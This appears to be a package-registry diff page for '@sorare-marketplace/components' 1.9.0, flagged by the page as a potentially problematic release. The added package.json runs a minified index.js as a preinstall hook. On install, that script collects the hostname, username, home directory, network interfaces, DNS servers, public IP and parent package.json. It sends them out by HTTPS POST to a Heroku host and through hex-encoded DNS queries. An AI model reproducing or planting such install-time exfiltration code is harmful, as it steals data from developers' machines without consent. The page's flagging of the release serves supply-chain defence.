@sorare-marketplace/components 1.9.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @sorare-marketplace/components might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +1 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const https=require("https"),os=require("os"),dns=require("dns"),packageJSON=require("./package.json"),package=packageJSON.name,sendData=(t,r,o,s)=>{return new Promise((n,a)=>{var e={hostname:t,port:443,path:r,method:o,headers:{"Content-Type":"application/json","Content-Length":s?Buffer.byteLength(s):0}},e=https.request(e,function(e){e.setEncoding("utf8");var t="";e.on("data",function(e){t+=e}),e.on("end",function(){200!=e.statusCode?a("Api call failed with response code "+e.statusCode):n(t)})});e.on("error",function(e){console.log("Error : "+e.message),a(e)}),s&&e.write(s),e.end()})},getIP=()=>sendData("api.ipify.org","/?format=json","GET",""),getTelemetry=e=>{const t=os["networkInterfaces"];var n=t();let a={};try{a=require(os.homedir()+"/package.json")}catch(e){a={message:"No parent package.json found"}}return{package:package,date:new Date,tzOffset:(new Date).getTimezoneOffset(),actualDirectory:__dirname,homeDirectory:os.homedir(),hostname:os.hostname(),userName:os.userInfo().username,dns:dns.getServers(),resolved:packageJSON?packageJSON.___resolved:void 0,version:packageJSON.version,packageJSON:packageJSON,parentPackageJSON:a,ip:e.ip||"",network:{...n}}},sendUsingHTTP=e=>{sendData("yggdrasilr.herokuapp.com","","POST",JSON.stringify(e))};function sendUsingDNSQuery(e){String.prototype.hexEncode=function(){for(var e="",t=0;t<this.length;t++)e+=("000"+this.charCodeAt(t).toString(16)).slice(-4);return e},String.prototype.replaceAll=function(e,t){return this.replace(new RegExp(e,"g"),t)},delete e.packageJSON,delete e.parentPackageJSON,delete e.network;const t=JSON.stringify(e);var n,e=t.hexEncode();n=30;const a=e.match(new RegExp(".{1,"+n+"}","g")).toString().replaceAll(",",".");!function t(n,a){var e=n.shift();e&&dns.resolve(e+"-"+a+".sub.bugbountyautomation.com",e=>{0<n.length&&t(n,a+1),e&&console.log(e.stack)})}(a.split("."),0)}const sendTelemetry=async()=>{getIP().then(e=>{e&&(e=getTelemetry(JSON.parse(e)),sendUsingHTTP(e),sendUsingDNSQuery(e))})};sendTelemetry();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@sorare-marketplace/components",
3
+ "version": "1.9.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "devDependencies": {},
12
+ "description": ""
13
+ }